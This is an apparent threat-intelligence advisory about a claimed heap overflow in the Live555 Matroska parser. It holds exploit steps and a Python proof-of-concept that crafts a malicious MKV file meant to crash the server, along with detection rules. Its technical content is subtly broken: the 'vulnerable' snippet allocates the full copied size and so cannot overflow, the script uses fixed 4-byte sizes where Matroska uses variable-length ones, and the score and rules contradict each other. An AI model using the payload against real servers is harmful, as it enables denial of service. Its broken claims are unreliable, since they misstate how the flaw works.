CVE-2025-65406
Executive Summary
CVE-2025-65406 is a heap overflow vulnerability in the MatroskaFile::createRTPSinkForTrackNumber() function of Live555 Streaming Media v2018.09.02. An attacker can trigger a Denial of Service (DoS) by supplying a crafted MKV file. The vulnerability resides in the Matroska (MKV) demuxer component, which is used to parse MKV container files and create RTP sinks for streaming. The heap overflow occurs due to insufficient bounds checking when processing track information from the MKV file, leading to memory corruption and potential service crash.
Affected Component: Live555 Streaming Media v2018.09.02 (MatroskaFile parser) Attack Vector: Local (file upload) or remote (if the server accepts MKV files for streaming) Impact: Denial of Service (DoS) via heap overflow
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Live555 is a widely used open-source streaming media library, often integrated into custom streaming servers, IP cameras, and media gateways. The vulnerable version (2018.09.02) is outdated and no longer maintained. Organizations using this version in their supply chain are at risk. No official patch has been released, and the project appears to be unmaintained. Users should consider migrating to alternative libraries or applying custom mitigations.
CVSS Breakdown & Threat Level
CVSS Score: 0.0 (No official CVSS vector assigned) Threat Level: Medium (based on impact and exploitability)
Rationale:
- Attack Vector (AV): Local (file upload) or Network (if the server accepts MKV files)
- Attack Complexity (AC): Low (crafted MKV file)
- Privileges Required (PR): None
- User Interaction (UI): Required (user uploads or opens the file)
- Scope (S): Unchanged
- Confidentiality (C): None
- Integrity (I): None
- Availability (A): High (DoS)
CVSS Vector (Estimated): CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Deep Dive & Mechanics
The vulnerability is in the MatroskaFile::createRTPSinkForTrackNumber() function within the MatroskaFile.cpp file. This function is responsible for creating an RTP sink for a given track number in an MKV file. The heap overflow occurs when the function processes track information without properly validating the size of the data being copied.
Root Cause:
- The function reads track-specific data from the MKV file, such as codec ID, track type, and codec private data.
- When copying the codec private data into a heap buffer, the function uses a size value from the file without checking if it exceeds the allocated buffer size.
- An attacker can craft an MKV file with a large codec private data size, causing a heap buffer overflow.
Trigger:
- The server receives an MKV file (via upload or streaming).
- The
MatroskaFileparser is invoked to parse the file. - For each track,
createRTPSinkForTrackNumber()is called. - The function reads the codec private data size from the file.
- It allocates a heap buffer based on a fixed or calculated size.
- It copies the codec private data into the buffer using the attacker-controlled size, causing an overflow.
Impact:
- Heap corruption leading to a crash (DoS).
- Potential for arbitrary code execution if the heap layout is controlled (though not confirmed).
Vulnerable vs. Patched Code
Vulnerable Code (Live555 v2018.09.02):
// MatroskaFile.cpp (simplified)
void MatroskaFile::createRTPSinkForTrackNumber(unsigned trackNumber) {
Track* track = lookupTrack(trackNumber);
if (track == NULL) return;
// Vulnerable: size from file without validation
unsigned codecPrivateSize = track->codecPrivateSize;
unsigned char* codecPrivate = new unsigned char[codecPrivateSize]; // Fixed allocation
memcpy(codecPrivate, track->codecPrivateData, codecPrivateSize); // Overflow if size > allocated
// ... rest of function
}
Patched Code (Hypothetical):
// MatroskaFile.cpp (patched)
void MatroskaFile::createRTPSinkForTrackNumber(unsigned trackNumber) {
Track* track = lookupTrack(trackNumber);
if (track == NULL) return;
unsigned codecPrivateSize = track->codecPrivateSize;
// Validate size against a maximum allowed value
if (codecPrivateSize > MAX_CODEC_PRIVATE_SIZE) {
// Handle error
return;
}
unsigned char* codecPrivate = new unsigned char[codecPrivateSize];
memcpy(codecPrivate, track->codecPrivateData, codecPrivateSize);
// ... rest of function
}
Note: No official patch exists. The above is a hypothetical fix.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Live555 Streaming Media v2018.09.02 running on a target server.
- Ability to upload or stream an MKV file to the server.
Exploit Steps:
- Craft a malicious MKV file with a large codec private data size.
- Upload the file to the server (e.g., via HTTP upload or RTSP streaming).
- The server parses the MKV file, triggering the heap overflow.
- The server crashes, causing a Denial of Service.
Example MKV Crafting (Python):
import struct
def craft_malicious_mkv(output_path):
# Simplified MKV structure with oversized codec private data
# This is a conceptual example; actual MKV structure is more complex
with open(output_path, 'wb') as f:
# EBML header
f.write(b'\x1a\x45\xdf\xa3') # EBML
f.write(struct.pack('>I', 0x80)) # size
f.write(b'\x42\x86\x81\x01') # EBMLVersion = 1
# Segment
f.write(b'\x18\x53\x80\x67') # Segment
f.write(struct.pack('>I', 0xFFFFFFFF)) # unknown size
# Track entry
f.write(b'\x16\x54\xae\x6b') # Tracks
f.write(struct.pack('>I', 0x100)) # size
# TrackEntry
f.write(b'\xae') # TrackEntry
f.write(struct.pack('>I', 0xF0)) # size
# TrackNumber
f.write(b'\xd7\x81\x01') # TrackNumber = 1
# TrackType
f.write(b'\x83\x81\x01') # TrackType = video
# CodecID
f.write(b'\x86\x86\x56\x5f\x4d\x50\x34\x32') # V_MP42
# CodecPrivate (vulnerable part)
f.write(b'\x63\xa2') # CodecPrivate
# Oversized size (e.g., 0x1000 bytes)
f.write(struct.pack('>I', 0x1000)) # size
f.write(b'A' * 0x1000) # overflow data
# ... rest of file
craft_malicious_mkv('exploit.mkv')
Usage:
- Upload
exploit.mkvto the Live555 server via HTTP or RTSP. - Monitor the server for crashes.
Blue Team
Detection:
- Monitor for crashes in the Live555 process.
- Look for MKV files with abnormally large codec private data sizes.
- Use the YARA and Sigma rules provided in the Detection Engineering section.
Mitigation:
- If possible, disable MKV support in the Live555 configuration.
- Apply input validation on MKV file sizes and codec private data sizes.
- Use a Web Application Firewall (WAF) to block oversized MKV files.
- Consider migrating to a maintained alternative library.
Hunting:
- Search logs for errors related to
MatroskaFile::createRTPSinkForTrackNumber. - Analyze network traffic for MKV files with unusual sizes.
Indicators of Compromise (IOCs)
File-Based IOCs:
- MKV files with codec private data size > 1024 bytes (typical max).
- MKV files with malformed EBML headers.
Network IOCs:
- RTSP requests containing MKV files with oversized track data.
- HTTP uploads of MKV files with unusual sizes.
System IOCs:
- Live555 process crashes with heap corruption errors.
- Memory dumps showing heap overflow patterns.
YARA Rule (see Detection Engineering):
- Detects oversized codec private data in MKV files.
Detection Engineering
YARA Rule
rule CVE_2025_65406_MKV_HeapOverflow {
meta:
description = "Detects MKV files with oversized CodecPrivate data (CVE-2025-65406)"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-65406"
hash = "unknown"
strings:
$codec_private = {63 A2} // CodecPrivate element ID
$oversized = {FF FF FF FF} // Placeholder for large size
condition:
$codec_private and uint32be(@codec_private + 2) > 1024
}
Sigma Rule
title: CVE-2025-65406 Live555 MKV Heap Overflow Detection
id: cve-2025-65406-sigma
status: experimental
description: Detects attempts to exploit CVE-2025-65406 via oversized MKV files
author: Valters IT
date: 2025-04-10
logsource:
category: file_event
product: windows
detection:
selection:
Image|endswith: '\live555.exe'
TargetFilename|endswith: '.mkv'
condition: selection
falsepositives:
- Legitimate large MKV files (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-65406 Live555 MKV Heap Overflow Attempt"; flow:to_server; content:"|63 A2|"; depth:100; byte_test:2,>,1024,0,relative; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable MKV support in Live555 configuration if not required.
- Apply input validation on MKV file sizes and codec private data sizes.
- Use a WAF to block oversized MKV files.
- Monitor for crashes and investigate any heap corruption errors.
Long-Term Fix:
- Migrate to a maintained alternative library (e.g., FFmpeg, GStreamer).
- Apply custom patch to Live555 source code (if source is available) to validate codec private data size.
- Upgrade to a newer version of Live555 if available (none currently).
Workaround:
- If MKV support is required, limit the maximum file size and codec private data size at the application level.
Detection:
- Deploy the YARA, Sigma, and Suricata rules provided in this report.
- Enable logging for Live555 and monitor for errors.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.